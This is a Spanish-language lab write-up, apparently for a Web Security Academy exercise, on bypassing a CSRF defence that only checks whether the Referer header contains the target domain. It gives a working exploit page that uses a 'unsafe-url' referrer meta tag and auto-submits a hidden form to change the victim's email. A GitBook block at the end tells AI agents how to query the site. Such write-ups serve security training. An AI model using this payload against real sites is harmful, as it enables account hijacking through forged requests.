> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/csrf/csrf-with-broken-referer-validation.md).

# CSRF con validación de Referer defectuosa

### CSRF con validación de Referer defectuosa

La función de cambio de correo electrónico del sitio intenta bloquear las solicitudes entre dominios comprobando el **Referer** encabezado, pero la lógica de detección se puede eludir. El objetivo del laboratorio: alojar en el servidor una página HTML que cree un CSRF para cambiar la dirección de correo electrónico del visitante.

### Cuenta a usar

* **Usuario**: `wiener`
* **Contraseña**: `peter`

Si `Referer` proviene de un dominio diferente, la solicitud se rechaza.

<figure><img src="/files/cdb5e1d5f38fa09a4b999a96fa97ff96777ccc9c" alt=""><figcaption></figcaption></figure>

Si el `Referer` el encabezado no está presente, la comprobación también falla (la solicitud se rechaza).

<figure><img src="/files/7f81561053d4e4ed77a71f3438124483b86e6a8a" alt=""><figcaption></figcaption></figure>

* La validación busca una **coincidencia** que contenga cierta cadena en `Referer`. Por lo tanto, acepta una `Referer` que **contiene** esta cadena, incluso si hay texto adicional alrededor.
* Ejemplo de cadena aceptada detectada:/ `https://JORD4N.PRO0aa7004f039e530680480331005c00f0.web-security-academy.net`

<figure><img src="/files/663779a6da193bb9ef603a7eb5c30dfb280fdee2" alt=""><figcaption></figcaption></figure>

#### Evasión observada

* En lugar de enviar la solicitud desde `/exploit`, `Referer` se puede hacer que contenga la cadena aceptada (por ejemplo, construyendo una URL que incluya esta cadena).

<kbd>/0aa7004f039e530680480331005c00f0.web-security-academy.net</kbd>

<figure><img src="/files/190641b3cdc94d6dd44e472fe27a8797fe1e1993" alt=""><figcaption></figcaption></figure>

* Los navegadores imponen restricciones de seguridad que impiden enviar arbitrariamente ciertos formularios de `Referer`. Para forzar el completo `Referer` desde la página de explotación, añade la siguiente metadirectiva en `<head>`:

```html
<meta name="referrer" content="unsafe-url">
```

Esta directiva le indica al navegador que envíe la URL de la página original completa como `Referer` incluso al navegar entre orígenes (comportamiento inseguro).

```html
<head>
   <meta name="referrer" content="unsafe-url">
</head>

<form class="login-form" name="change-email-form" action="https://0aa7004f039e530680480331005c00f0.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>
document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/csrf/csrf-with-broken-referer-validation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
